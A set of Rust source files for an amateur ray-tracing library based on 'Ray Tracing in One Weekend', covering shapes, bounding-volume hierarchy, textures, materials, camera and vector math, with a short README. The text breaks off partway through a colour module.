<file_sep>use super::hittable::{HitRecord, Hittable}; use super::material::material::Material; use super::bounding::BoundingBox; use super::vec3::Vec3; use super::ray::Ray; use std::f64::consts::PI; use std::rc::Rc; pub struct Sphere { center: Vec3, radius: f64, material: Rc<dyn Material> } impl Sphere { pub fn new(center: Vec3, radius: f64, material: Rc<dyn Material>) -> Self { Self { center, radius, material } } fn get_hit_record(&self, ray: &Ray, time: f64) -> HitRecord { let point = ray.at(time); let (u, v) = self.get_uv((point - self.center) / self.radius); HitRecord::new( ray, point, (point - self.center) / self.radius, time, u, v, self.material.clone() ) } fn get_uv(&self, point: Vec3) -> (f64, f64) { let phi = point.z.atan2(point.x); let theta = point.y.asin(); (1.0 - (phi + PI) / 2.0 * PI, (theta + PI / 2.0) / PI) } } impl Hittable for Sphere { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let oc = ray.origin - self.center; let a = ray.direction.squared_length(); let b = Vec3::dot_product(oc, ray.direction); let c = oc.squared_length() - self.radius * self.radius; let discriminant = b * b - a * c; if discriminant > 0.0 { let root = discriminant.sqrt(); let time = (-b - root) / a; if time < tmax && time > tmin { return Some(self.get_hit_record(ray, time)); } let time = (-b + root) / a; if time < tmax && time > tmin { return Some(self.get_hit_record(ray, time)); } } None } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(BoundingBox::new( self.center - Vec3::new(self.radius, self.radius, self.radius), self.center + Vec3::new(self.radius, self.radius, self.radius) )) } } <file_sep>use super::material::{isotropic::Isotropic, material::Material}; use super::hittable::{HitRecord, Hittable}; use super::bounding::BoundingBox; use super::{min_f64, max_f64}; use super::textures::Texture; use super::vec3::Vec3; use super::ray::Ray; use std::rc::Rc; use std::f64; use rand::Rng; pub struct ConstantMedium { object: Rc<dyn Hittable>, material: Rc<dyn Material>, density: f64, } impl ConstantMedium { pub fn new(object: Rc<dyn Hittable>, texture: Rc<dyn Texture>, density: f64) -> Self { Self { object, density: -1.0/density, material: Rc::new(Isotropic::new(texture)), } } } impl Hittable for ConstantMedium { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let mut record1 = if let Some(record) = self.object.hit(ray, f64::MIN, f64::MAX) { record } else{ return None; }; let mut record2 = if let Some(record) = self.object.hit(ray, record1.time + 0.0001, f64::MAX) { record } else{ return None; }; record1.time = max_f64(tmin, record1.time); record2.time = min_f64(tmax, record2.time); if record1.time >= record2.time { return None; } record1.time = max_f64(0.0, record1.time); let mut rng = rand::thread_rng(); let ray_length = ray.direction.length(); let distance_inside = (record2.time - record1.time) * ray_length; let hit_distance = self.density * (rng.gen_range(0.0, 1.0) as f64).ln(); if hit_distance > distance_inside { return None; } let time = record1.time + hit_distance / ray_length; Some(HitRecord::new( &ray, ray.at(time), Vec3::new(1.0, 0.0, 0.0), //doesn't matter time, 0.0, 0.0, self.material.clone() )) } fn bounding_box(&self, t0: f64, t1: f64) -> Option<BoundingBox> { self.object.bounding_box(t0, t1) } }<file_sep>pub mod camera; use super::utils::vec3::Vec3; use super::utils::ray::Ray;<file_sep>use super::hittable::{HitRecord, Hittable}; use super::{min_f64, max_f64}; use super::vec3::Vec3; use super::ray::Ray; use std::rc::Rc; use std::cmp::Ordering; #[derive(Default, Copy, Debug)] pub struct BoundingBox { pub min: Vec3, pub max: Vec3, } impl BoundingBox { pub fn new(min: Vec3, max: Vec3) -> Self { Self { min, max } } pub fn hit(&self, ray: &Ray, mut tmin: f64, mut tmax: f64) -> bool { for idx in 0..3 { let inverse_direction = 1.0 / ray.direction[idx]; let mut t0 = (self.min[idx] - ray.origin[idx]) * inverse_direction; let mut t1 = (self.max[idx] - ray.origin[idx]) * inverse_direction; if inverse_direction < 0.0 { std::mem::swap(&mut t0, &mut t1); } tmin = max_f64(tmin, t0); tmax = min_f64(tmax, t1); if tmax <= tmin { return false; } } true } pub fn surrounding_box(a: &Self, b: &Self) -> Self { let min = Vec3::new( min_f64(a.min.x, b.min.x), min_f64(a.min.y, b.min.y), min_f64(a.min.z, b.min.z) ); let max = Vec3::new( max_f64(a.max.x, b.max.x), max_f64(a.max.y, b.max.y), max_f64(a.max.z, b.max.z) ); Self { min, max } } } impl Clone for BoundingBox { fn clone(&self) -> Self { *self } } pub struct BvhNode { pub left: Rc<dyn Hittable>, pub right: Rc<dyn Hittable>, obj_box: BoundingBox } impl BvhNode { pub fn new(objects: &mut Vec<Rc<dyn Hittable>>, start: usize, end: usize, t0: f64, t1: f64) -> Self { let left; let right; let size = end - start; // FIXME: PICK RANDOM AXIS AND SORT ONLY THE SUBARRAY let axis = 0; match size { 1 => { left = objects[start].clone(); right = objects[start].clone(); }, 2 => { if Self::box_compare(&objects[start], &objects[start+1], axis).unwrap() == Ordering::Less { left = objects[start].clone(); right = objects[start+1].clone(); } else{ left = objects[start+1].clone(); right = objects[start].clone(); } }, _ => { objects.sort_by(|a, b| { Self::box_compare(&a, &b, axis).unwrap() }); let mid = start + size / 2; left = Rc::new(BvhNode::new(objects, start, mid, t0, t1)); right = Rc::new(BvhNode::new(objects, mid, end, t0, t1)); } }; let left_box = if let Some(obj_box) = left.bounding_box(t0, t1) { obj_box } else { panic!("No box for left object"); }; let right_box = if let Some(obj_box) = right.bounding_box(t0, t1) { obj_box } else { panic!("No box for right object"); }; Self { left, right, obj_box: BoundingBox::surrounding_box(&left_box, &right_box) } } fn box_compare(a: &Rc<dyn Hittable>, b: &Rc<dyn Hittable>, axis: usize) -> Option<Ordering> { let box_a = if let Some(obj_box) = a.bounding_box(0.0, 0.0) { obj_box } else { panic!("No box for parameter A"); }; let box_b = if let Some(obj_box) = b.bounding_box(0.0, 0.0) { obj_box } else { panic!("No box for parameter B"); }; box_a.min[axis].partial_cmp(&box_b.min[axis]) } } impl Hittable for BvhNode { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { if !self.obj_box.hit(ray, tmin, tmax) { return None; } let hit_left = self.left.hit(ray, tmin, tmax); let hit_right = self.right.hit(ray, tmin, tmax); if hit_left.is_none() && hit_right.is_none() { None } else{ if hit_left.is_none() { hit_right } else if hit_right.is_none() { hit_left } else{ let left = hit_left.unwrap(); let right = hit_right.unwrap(); Some(if left.time < right.time { left } else { right }) } } } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(self.obj_box) } }<file_sep>pub mod color; pub mod vec3; pub mod ray; pub fn min_f64(a: f64, b: f64) -> f64 { if a <= b { a } else { b } } pub fn max_f64(a: f64, b: f64) -> f64 { if a >= b { a } else { b } }<file_sep>use super::texture::Texture; use super::utils::color::Color; use super::utils::vec3::Vec3; use rand::Rng; const POINT_COUNT: usize = 256; struct Perlin { rnd: Vec<Vec3>, x: Vec<usize>, y: Vec<usize>, z: Vec<usize>, } impl Perlin { pub fn new() -> Self { Self { rnd: (0..POINT_COUNT) .map(|_| Vec3::random_range(-1.0, 1.0)) .collect(), x: Self::generate_permutation(), y: Self::generate_permutation(), z: Self::generate_permutation(), } } pub fn turbulence(&self, point: &Vec3, depth: usize) -> f64 { let mut acc = 0.0; let mut tmp_point = *point; let mut weight = 1.0; for _ in 0..depth { acc += weight * self.noise(&tmp_point); weight *= 0.5; tmp_point = tmp_point * 2.0; } acc.abs() } pub fn noise(&self, point: &Vec3) -> f64 { let i = point.x.floor() as usize; let j = point.y.floor() as usize; let k = point.z.floor() as usize; let u = point.x - point.x.floor(); let v = point.y - point.y.floor(); let w = point.z - point.z.floor(); let mut c = [[[Vec3::new(0.0, 0.0, 0.0); 2]; 2]; 2]; for ii in 0..2 { for jj in 0..2 { for kk in 0..2 { c[ii][jj][kk] = self.rnd[self.x[(i + ii) & 255] ^ self.y[(j + jj) & 255] ^ self.z[(k + kk) & 255]]; } } } Self::perlin_interpolation(&c, u, v, w) } fn perlin_interpolation(c: &[[[Vec3; 2]; 2]; 2], u: f64, v: f64, w: f64) -> f64 { let uu = u * u * (3.0 - 2.0 * u); let vv = v * v * (3.0 - 2.0 * v); let ww = w * w * (3.0 - 2.0 * w); let mut acc = 0.0; for i in 0..2 { for j in 0..2 { for k in 0..2 { let weight = Vec3::new(u - i as f64, v - j as f64, w - k as f64); acc += (i as f64 * uu + (1.0 - i as f64) * (1.0 - uu)) * (j as f64 * vv + (1.0 - j as f64) * (1.0 - vv)) * (k as f64 * ww + (1.0 - k as f64) * (1.0 - ww)) * Vec3::dot_product(c[i][j][k], weight); } } } acc } fn generate_permutation() -> Vec<usize> { let mut perm: Vec<usize> = (0..POINT_COUNT).map(|i|{ i }).collect(); Self::permutate(&mut perm); perm } fn permutate(arr: &mut Vec<usize>) { let mut rng = rand::thread_rng(); for i in (1..POINT_COUNT).rev() { let j = rng.gen_range(0, i); let tmp = arr[j]; arr[j] = arr[i]; arr[i] = tmp; } } } pub struct NoiseTexture { perlin: Perlin, scale: f64, } impl NoiseTexture { pub fn new(scale: f64) -> Self { Self { perlin: Perlin::new(), scale, } } } impl Texture for NoiseTexture { fn color(&self, _u: f64, _v: f64, point: &Vec3) -> Color { Color::new(1.0, 1.0, 1.0) * 0.5 * (1.0 + (self.scale * point.z + self.perlin.turbulence(point, 7) * 10.0).sin()) } }<file_sep>use super::utils::color::Color; use super::utils::vec3::Vec3; pub trait Texture { fn color(&self, u: f64, v: f64, point: &Vec3) -> Color; }<file_sep>mod texture; mod constant_texture; mod checker_texture; mod image_texture; mod perlin; use super::utils; pub use constant_texture::ConstantTexture; pub use checker_texture::CheckerTexture; pub use image_texture::ImageTexture; pub use perlin::NoiseTexture; pub use texture::Texture; <file_sep>pub mod constant_medium; pub mod moving_sphere; pub mod rectangles; pub mod sphere; pub mod cube; use super::utils::{max_f64, min_f64}; use super::utils::ray; use super::utils::vec3; use super::hittable::*; use super::material; use super::textures;<file_sep>use super::material::material::Material; use super::bounding::BoundingBox; use super::{min_f64, max_f64}; use super::vec3::Vec3; use super::ray::Ray; use std::rc::Rc; use std::f64; pub struct HitRecord { pub point: Vec3, pub normal: Vec3, pub time: f64, pub u: f64, pub v: f64, pub front_face: bool, pub material: Rc<dyn Material> } impl HitRecord { pub fn new(ray: &Ray, point: Vec3, mut normal: Vec3, time: f64, u: f64, v: f64, material: Rc<dyn Material>) -> Self { let front_face = Vec3::dot_product(ray.direction, normal) < 0.0; normal = if front_face { normal } else { -normal }; Self { point, normal, time, u, v, front_face, material } } } pub trait Hittable { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord>; fn bounding_box(&self, t0: f64, t1: f64) -> Option<BoundingBox>; } pub struct HittableList { objects: Vec<Rc<dyn Hittable>> } impl HittableList { pub fn new() -> Self { Self { objects: vec![] } } pub fn new_from_vec(objects: Vec<Rc<dyn Hittable>>) -> Self { Self { objects } } pub fn push(&mut self, object: Rc<dyn Hittable>) { self.objects.push(object) } } impl Hittable for HittableList { fn hit(&self, ray: &Ray, tmin: f64, mut tmax: f64) -> Option<HitRecord> { let mut result = None; for object in self.objects.iter() { if let Some(record) = object.hit(ray, tmin, tmax) { tmax = record.time; result = Some(record); } } result } fn bounding_box(&self, t0: f64, t1: f64) -> Option<BoundingBox> { if self.objects.is_empty() { return None; } let mut first = false; let mut result = BoundingBox::default(); for object in self.objects.iter() { if let Some(obj_box) = object.bounding_box(t0, t1) { result = if first { obj_box } else { BoundingBox::surrounding_box(&obj_box, &result) }; first = false; } else { return None; } } Some(result) } } pub struct FlipFace { object: Rc<dyn Hittable>, } impl FlipFace { pub fn new(object: Rc<dyn Hittable>) -> Self { Self { object } } } impl Hittable for FlipFace { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { if let Some(mut record) = self.object.hit(ray, tmin, tmax){ record.front_face = !record.front_face; Some(record) } else{ None } } fn bounding_box(&self, t0: f64, t1: f64) -> Option<BoundingBox> { self.object.bounding_box(t0, t1) } } pub struct Translate { offset: Vec3, object: Rc<dyn Hittable>, } impl Translate { pub fn new(object: Rc<dyn Hittable>, offset: Vec3) -> Self { Self { offset, object } } } impl Hittable for Translate { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let translated_ray = Ray { origin: ray.origin - self.offset, ..*ray }; if let Some(record) = self.object.hit(&translated_ray, tmin, tmax) { Some(HitRecord::new( &translated_ray, record.point + self.offset, record.normal, record.time, record.u, record.v, record.material )) } else{ None } } fn bounding_box(&self, t0: f64, t1: f64) -> Option<BoundingBox> { if let Some(obj_box) = self.object.bounding_box(t0, t1) { Some(BoundingBox::new( obj_box.min + self.offset, obj_box.max + self.offset )) } else { None } } } pub struct RotateY { sin: f64, cos: f64, object: Rc<dyn Hittable>, obj_box: BoundingBox } impl RotateY { pub fn new(object: Rc<dyn Hittable>, angle: f64) -> Self { let radians = angle.to_radians(); let sin = radians.sin(); let cos = radians.cos(); let obj_box = object.bounding_box(0.0, 1.0).unwrap(); let mut min = Vec3::new(f64::MAX, f64::MAX, f64::MAX); let mut max = Vec3::new(f64::MIN, f64::MIN, f64::MIN); for i in 0..2 { for j in 0..2 { for k in 0..2 { let x = i as f64 * obj_box.max.x + (1.0 - i as f64) * obj_box.min.x; let y = j as f64 * obj_box.max.y + (1.0 - j as f64) * obj_box.min.y; let z = k as f64 * obj_box.max.z + (1.0 - k as f64) * obj_box.min.z; let newx = cos * x + sin * z; let newz = -sin * x + cos * z; let tmp = Vec3::new(newx, y, newz); for idx in 0..3 { min[idx] = min_f64(min[idx], tmp[idx]); max[idx] = max_f64(max[idx], tmp[idx]); } } } } Self { sin, cos, object, obj_box: BoundingBox::new(min, max), } } } impl Hittable for RotateY { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let mut origin = ray.origin; let mut direction = ray.direction; origin.x = self.cos * origin.x - self.sin * origin.z; origin.z = self.sin * origin.x + self.cos * origin.z; direction.x = self.cos * direction.x - self.sin * direction.z; direction.z = self.sin * direction.x + self.cos * direction.z; let rotated_ray = Ray::new(origin, direction, ray.time); if let Some(record) = self.object.hit(&rotated_ray, tmin, tmax) { let mut point = record.point; let mut normal = record.normal; point.x = self.cos * point.x + self.sin * point.z; point.z = self.cos * point.z - self.sin * point.x; normal.x = self.cos * normal.x + self.sin * normal.z; normal.z = self.cos * normal.z - self.sin * normal.x; Some(HitRecord::new( &rotated_ray, point, normal, record.time, record.u, record.v, record.material.clone() )) } else{ None } } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(self.obj_box) } }<file_sep>use super::utils::ray::{Ray, ScatteredRay}; use super::hittable::HitRecord; use super::utils::color::Color; use super::utils::vec3::Vec3; pub trait Material { fn scatter(&self, _ray: &Ray, _record: &HitRecord) -> Option<ScatteredRay> { None } fn emit(&self, _u: f64, _x: f64, _point: &Vec3) -> Color { Color::default() } }<file_sep>pub mod hittable; pub mod bounding; use super::utils::{ray, vec3, min_f64, max_f64}; use super::material; pub use hittable::*;<file_sep>use std::ops::{Add, Sub, Mul, Div, Neg, Index, IndexMut}; use std::f64::consts::PI; use std::f64; use super::min_f64; use rand::distributions::{Uniform, Distribution}; use rand::Rng; #[derive(Debug, Copy, Default)] pub struct Vec3 { pub x: f64, pub y: f64, pub z: f64, } impl Vec3 { pub fn new(x: f64, y: f64, z: f64) -> Self { Self { x, y, z } } pub fn random_range(from: f64, to: f64) -> Self { let mut rng = rand::thread_rng(); let range = Uniform::from(from..to); Self { x: range.sample(&mut rng), y: range.sample(&mut rng), z: range.sample(&mut rng) } } pub fn random_unit() -> Self { let mut rng = rand::thread_rng(); let a = rng.gen_range(0.0, 2.0 * PI); let z = rng.gen_range(-1.0f64, 1.0f64); let r = (1.0 - z * z).sqrt(); Self { x: r * a.cos(), y: r * a.sin(), z: z, } } pub fn random_in_unit_sphere() -> Self { loop { let v = Vec3::random_range(-1.0, 1.0); if v.squared_length() < 1.0 { return v; } } } pub fn random_in_unit_disk() -> Self { let mut rng = rand::thread_rng(); loop { let v = Vec3::new( rng.gen_range(-1.0, 1.0), rng.gen_range(-1.0, 1.0), 0.0 ); if v.squared_length() < 1.0 { return v; } } } pub fn squared_length(&self) -> f64 { self.x * self.x + self.y * self.y + self.z * self.z } pub fn length(&self) -> f64 { self.squared_length().sqrt() } pub fn dot_product(left: Self, right: Self) -> f64 { left.x * right.x + left.y * right.y + left.z * right.z } pub fn cross_product(left: Self, right: Self) -> Self { Self { x: left.y * right.z - left.z * right.y, y: left.z * right.x - left.x * right.z, z: left.x * right.y - left.y * right.x, } } pub fn reflect(v: Self, normal: Self) -> Self { v - normal * 2.0 * Self::dot_product(v, normal) } pub fn refract(v: Self, normal: Self, coeff: f64) -> Self { let cos = min_f64(1.0, Self::dot_product(-v, normal)); let r_parallel = (v + normal * cos) * coeff; let r_perpendicular = -normal * (1.0 - r_parallel.squared_length()).sqrt(); r_parallel + r_perpendicular } pub fn unit_vector(&self) -> Self { *self / self.length() } } impl Index<usize> for Vec3 { type Output = f64; fn index(&self, index: usize) -> &f64 { match index { 0 => &self.x, 1 => &self.y, 2 => &self.z, _ => panic!("Index out of bound") } } } impl IndexMut<usize> for Vec3 { fn index_mut(&mut self, index: usize) -> &mut f64 { match index { 0 => &mut self.x, 1 => &mut self.y, 2 => &mut self.z, _ => panic!("Index out of bound") } } } impl Clone for Vec3 { fn clone(&self) -> Self { *self } } impl Add for Vec3 { type Output = Self; fn add(self, other: Self) -> Self { Self{ x: self.x + other.x, y: self.y + other.y, z: self.z + other.z, } } } impl Sub for Vec3 { type Output = Self; fn sub(self, other: Self) -> Self { Self{ x: self.x - other.x, y: self.y - other.y, z: self.z - other.z, } } } impl Mul for Vec3 { type Output = Self; fn mul(self, other: Self) -> Self { Self { x: self.x * other.x, y: self.y * other.y, z: self.z * other.z, } } } impl Div for Vec3 { type Output = Self; fn div(self, other: Self) -> Self { Self { x: self.x / other.x, y: self.y / other.y, z: self.z / other.z, } } } impl Mul<f64> for Vec3 { type Output = Self; fn mul(self, other: f64) -> Self { Self { x: self.x * other, y: self.y * other, z: self.z * other, } } } impl Div<f64> for Vec3 { type Output = Self; fn div(self, other: f64) -> Self { Self { x: self.x / other, y: self.y / other, z: self.z / other, } } } impl Neg for Vec3 { type Output = Self; fn neg(self) -> Self { Self { x: -self.x, y: -self.y, z: -self.z, } } }<file_sep>use super::hittable::{HitRecord, Hittable}; use super::material::material::Material; use super::bounding::BoundingBox; use super::vec3::Vec3; use super::ray::Ray; use std::f64::consts::PI; use std::rc::Rc; pub struct MovingSphere { center0: Vec3, center1: Vec3, time0: f64, time1: f64, radius: f64, material: Rc<dyn Material> } impl MovingSphere { pub fn new(center0: Vec3, center1: Vec3, time0: f64, time1: f64, radius: f64, material: Rc<dyn Material>) -> Self { Self { center0, center1, time0, time1, radius, material } } fn find_center(&self, time: f64) -> Vec3 { self.center0 + (self.center1 - self.center0) * ((time - self.time0) / (self.time1 - self.time0)) } fn get_hit_record(&self, ray: &Ray, time: f64) -> HitRecord { let point = ray.at(time); let (u, v) = self.get_uv((point - self.find_center(time)) / self.radius); HitRecord::new( ray, point, (point - self.find_center(time)) / self.radius, time, u, v, self.material.clone() ) } fn get_uv(&self, point: Vec3) -> (f64, f64) { let phi = point.z.atan2(point.x); let theta = point.y.asin(); (1.0 - (phi + PI) / 2.0 * PI, (theta + PI / 2.0) / PI) } } impl Hittable for MovingSphere { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let oc = ray.origin - self.find_center(ray.time); let a = ray.direction.squared_length(); let b = Vec3::dot_product(oc, ray.direction); let c = oc.squared_length() - self.radius * self.radius; let discriminant = b * b - a * c; if discriminant > 0.0 { let root = discriminant.sqrt(); let time = (-b - root) / a; if time < tmax && time > tmin { return Some(self.get_hit_record(ray, time)); } let time = (-b + root) / a; if time < tmax && time > tmin { return Some(self.get_hit_record(ray, time)); } } None } fn bounding_box(&self, t0: f64, t1: f64) -> Option<BoundingBox> { let min = BoundingBox::new( self.find_center(t0) - Vec3::new(self.radius, self.radius, self.radius), self.find_center(t0) + Vec3::new(self.radius, self.radius, self.radius) ); let max = BoundingBox::new( self.find_center(t1) - Vec3::new(self.radius, self.radius, self.radius), self.find_center(t1) + Vec3::new(self.radius, self.radius, self.radius) ); Some(BoundingBox::surrounding_box( &min, &max )) } }<file_sep>use super::vec3::Vec3; use super::color::Color; pub struct Ray { pub origin: Vec3, pub direction: Vec3, pub time: f64 } impl Ray { pub fn new(origin: Vec3, direction: Vec3, time: f64) -> Self { Self { origin, direction, time } } pub fn at(&self, time: f64) -> Vec3 { self.origin + self.direction * time } } pub struct ScatteredRay { pub ray: Ray, pub attenuation: Color } impl ScatteredRay { pub fn new(ray: Ray, attenuation: Color) -> Self { Self { ray, attenuation } } }<file_sep>use super::utils::color::Color; use super::material::Material; use super::textures::Texture; use super::utils::vec3::Vec3; use std::rc::Rc; pub struct Light { emitted: Rc<dyn Texture> } impl Light { pub fn new(emitted: Rc<dyn Texture>) -> Self { Self { emitted } } } impl Material for Light { fn emit(&self, u: f64, v: f64, point: &Vec3) -> Color { self.emitted.color(u, v, point) } }<file_sep>use super::texture::Texture; use super::utils::color::Color; use super::utils::vec3::Vec3; use num::clamp; use image::{DynamicImage, GenericImageView, Pixel}; pub struct ImageTexture { image: DynamicImage, width: usize, height: usize, } impl ImageTexture { pub fn new(image: DynamicImage) -> Self { let (width, height) = image.dimensions(); Self { image, width: width as usize, height: height as usize, } } } impl Texture for ImageTexture { fn color(&self, u: f64, v: f64, _point: &Vec3) -> Color { let mut i = (u * self.width as f64) as usize; let mut j = ((1.0 - v) * self.height as f64) as usize; i = clamp(i, 0, self.width - 1); j = clamp(j, 0, self.height - 1); let rgb = self.image.get_pixel(i as u32, j as u32).to_rgb(); Color::new( rgb[0] as f64 / 255.0, rgb[1] as f64 / 255.0, rgb[2] as f64 / 255.0, ) } }<file_sep>use super::hittable::{HitRecord, Hittable}; use super::material::material::Material; use super::bounding::BoundingBox; use super::vec3::Vec3; use super::ray::Ray; use std::rc::Rc; pub struct XYRectangle { x0: f64, x1: f64, y0: f64, y1: f64, z: f64, material: Rc<dyn Material> } impl XYRectangle { pub fn new(x0: f64, x1: f64, y0: f64, y1: f64, z: f64, material: Rc<dyn Material>) -> Self { Self { x0, x1, y0, y1, z, material } } } impl Hittable for XYRectangle { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let time = (self.z - ray.origin.z) / ray.direction.z; if time < tmin || time > tmax { return None; } let x = ray.at(time).x; let y = ray.at(time).y; if x < self.x0 || x > self.x1 || y < self.y0 || y > self.y1 { return None; } Some(HitRecord::new( ray, ray.at(time), Vec3::new(0.0, 0.0, 1.0), time, (x - self.x0) / (self.x1 - self.x0), (y - self.y0) / (self.y1 - self.y0), self.material.clone() )) } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(BoundingBox::new( Vec3::new(self.x0, self.y0, self.z - 0.0001), Vec3::new(self.x1, self.y1, self.z + 0.0001) )) } } pub struct XZRectangle { x0: f64, x1: f64, z0: f64, z1: f64, y: f64, material: Rc<dyn Material> } impl XZRectangle { pub fn new(x0: f64, x1: f64, z0: f64, z1: f64, y: f64, material: Rc<dyn Material>) -> Self { Self { x0, x1, z0, z1, y, material } } } impl Hittable for XZRectangle { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let time = (self.y - ray.origin.y) / ray.direction.y; if time < tmin || time > tmax { return None; } let x = ray.at(time).x; let z = ray.at(time).z; if x < self.x0 || x > self.x1 || z < self.z0 || z > self.z1 { return None; } Some(HitRecord::new( ray, ray.at(time), Vec3::new(0.0, 1.0, 0.0), time, (x - self.x0) / (self.x1 - self.x0), (z - self.z0) / (self.z1 - self.z0), self.material.clone() )) } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(BoundingBox::new( Vec3::new(self.x0, self.y - 0.0001, self.z0), Vec3::new(self.x1, self.y + 0.0001, self.z1) )) } } pub struct YZRectangle { y0: f64, y1: f64, z0: f64, z1: f64, x: f64, material: Rc<dyn Material> } impl YZRectangle { pub fn new(y0: f64, y1: f64, z0: f64, z1: f64, x: f64, material: Rc<dyn Material>) -> Self { Self { y0, y1, z0, z1, x, material } } } impl Hittable for YZRectangle { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { let time = (self.x - ray.origin.x) / ray.direction.x; if time < tmin || time > tmax { return None; } let y = ray.at(time).y; let z = ray.at(time).z; if y < self.y0 || y > self.y1 || z < self.z0 || z > self.z1 { return None; } Some(HitRecord::new( ray, ray.at(time), Vec3::new(1.0, 0.0, 0.0), time, (y - self.y0) / (self.y1 - self.y0), (z - self.z0) / (self.z1 - self.z0), self.material.clone() )) } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(BoundingBox::new( Vec3::new(self.x - 0.0001, self.y0, self.z0), Vec3::new(self.x + 0.0001, self.y1, self.z1), )) } } <file_sep>use super::utils::color::Color; use super::utils::vec3::Vec3; use super::texture::Texture; pub struct ConstantTexture { color: Color } impl ConstantTexture { pub fn new(color: Color) -> Self { Self { color } } } impl Texture for ConstantTexture { fn color(&self, _u: f64, _v: f64, _point: &Vec3) -> Color { self.color } }<file_sep>use super::utils::ray::{Ray, ScatteredRay}; use super::hittable::HitRecord; use super::utils::color::Color; use super::material::Material; use super::utils::vec3::Vec3; pub struct Metal { albedo: Color, fuzziness: f64 } impl Metal { pub fn new(albedo: Color, fuzziness: f64) -> Self { Self { albedo, fuzziness } } } impl Material for Metal { fn scatter(&self, ray: &Ray, record: &HitRecord) -> Option<ScatteredRay> { let reflected = Vec3::reflect(ray.direction.unit_vector(), record.normal); Some(ScatteredRay::new( Ray::new( record.point, reflected + Vec3::random_in_unit_sphere() * self.fuzziness, ray.time ), self.albedo, )) } }<file_sep>use super::hittable::{HitRecord, Hittable, HittableList, FlipFace}; use super::material::material::Material; use super::bounding::BoundingBox; use super::rectangles::*; use super::vec3::Vec3; use super::ray::Ray; use std::rc::Rc; pub struct Cube { top_right: Vec3, bottom_left: Vec3, sides: HittableList, } impl Cube { pub fn from_vertices(bottom_left: Vec3, top_right: Vec3, material: Rc<dyn Material>) -> Self { let mut sides = HittableList::new(); //front sides.push(Rc::new(XYRectangle::new( bottom_left.x, top_right.x, bottom_left.y, top_right.y, top_right.z, material.clone() ))); //back sides.push(Rc::new(FlipFace::new(Rc::new(XYRectangle::new( bottom_left.x, top_right.x, bottom_left.y, top_right.y, bottom_left.z, material.clone() ))))); //top sides.push(Rc::new(XZRectangle::new( bottom_left.x, top_right.x, bottom_left.z, top_right.z, top_right.y, material.clone() ))); //bottom sides.push(Rc::new(FlipFace::new(Rc::new(XZRectangle::new( bottom_left.x, top_right.x, bottom_left.z, top_right.z, bottom_left.y, material.clone() ))))); //right sides.push(Rc::new(YZRectangle::new( bottom_left.y, top_right.y, bottom_left.z, top_right.z, top_right.x, material.clone() ))); //left sides.push(Rc::new(FlipFace::new(Rc::new(YZRectangle::new( bottom_left.y, top_right.y, bottom_left.z, top_right.z, bottom_left.x, material.clone() ))))); Self { sides, bottom_left, top_right, } } } impl Hittable for Cube { fn hit(&self, ray: &Ray, tmin: f64, tmax: f64) -> Option<HitRecord> { self.sides.hit(ray, tmin, tmax) } fn bounding_box(&self, _t0: f64, _t1: f64) -> Option<BoundingBox> { Some(BoundingBox::new( self.bottom_left, self.top_right )) } }<file_sep>use super::{Ray, Vec3}; use rand::Rng; pub struct Camera { origin: Vec3, lower_left: Vec3, horizontal: Vec3, vertical: Vec3, u: Vec3, v: Vec3, w: Vec3, lens_radius: f64, time0: f64, time1: f64 } impl Camera { pub fn new(origin: Vec3, look_at: Vec3, up: Vec3, fov: f64, aspect: f64, aperture: f64, focus_dist: f64, time0: f64, time1: f64) -> Self { let theta = fov.to_radians(); let height = (theta / 2.0).tan(); let width = aspect * height; let w = (origin - look_at).unit_vector(); let u = Vec3::cross_product(up, w).unit_vector(); let v = Vec3::cross_product(w, u); let lower_left = origin - (u * width + v * height + w) * focus_dist; let horizontal = u * 2.0 * focus_dist * width; let vertical = v * 2.0 * focus_dist * height; Self { origin, lower_left, horizontal, vertical, v, u, w, lens_radius: aperture / 2.0, time0, time1 } } pub fn get_ray(&self, x: f64, y: f64) -> Ray { let rd = Vec3::random_in_unit_disk() * self.lens_radius; let offset = self.u * rd.x + self.v * rd.y; let mut rng = rand::thread_rng(); Ray::new( self.origin + offset, self.lower_left + self.horizontal * x + self.vertical * y - self.origin - offset, rng.gen_range(self.time0, self.time1) ) } }<file_sep>use super::utils::color::Color; use super::utils::vec3::Vec3; use super::texture::Texture; use std::rc::Rc; pub struct CheckerTexture { odd: Rc<dyn Texture>, even: Rc<dyn Texture> } impl CheckerTexture { pub fn new(odd: Rc<dyn Texture>, even: Rc<dyn Texture>) -> Self { Self { odd, even } } } impl Texture for CheckerTexture { fn color(&self, u: f64, v: f64, point: &Vec3) -> Color { let sin = (10.0 * point.x).sin() * (10.0 * point.y).sin() * (10.0 * point.z).sin(); if sin < 0.0 { self.odd.color(u, v, point) } else { self.even.color(u, v, point) } } }<file_sep># Rust-Raytracing This is a simple library graphics that implements ray tracing in rust, the main goal is to realize a library that allows to render different objects (like speheres and cubes) made of diferent materials. This project is inspired by the [Ray Tracing in One Weekend](https://raytracing.github.io/) guide. ## Features - Positionable camera - Positionable objects of different materials - Antialiasing - Multithreading rendering ## Todo - [ ] Make the rendering process multithreaded - [ ] Implement a Scene class that controls the rendering process - [x] Use images as textures - [ ] Export the image in different formats - [x] Different shapes <file_sep>use std::ops::{Mul, Div, Add, Sub}; use rand::distributions::{Distribution, Uniform}; use num::clamp; #[derive(Debug, Default, Copy)] pub struct Color { 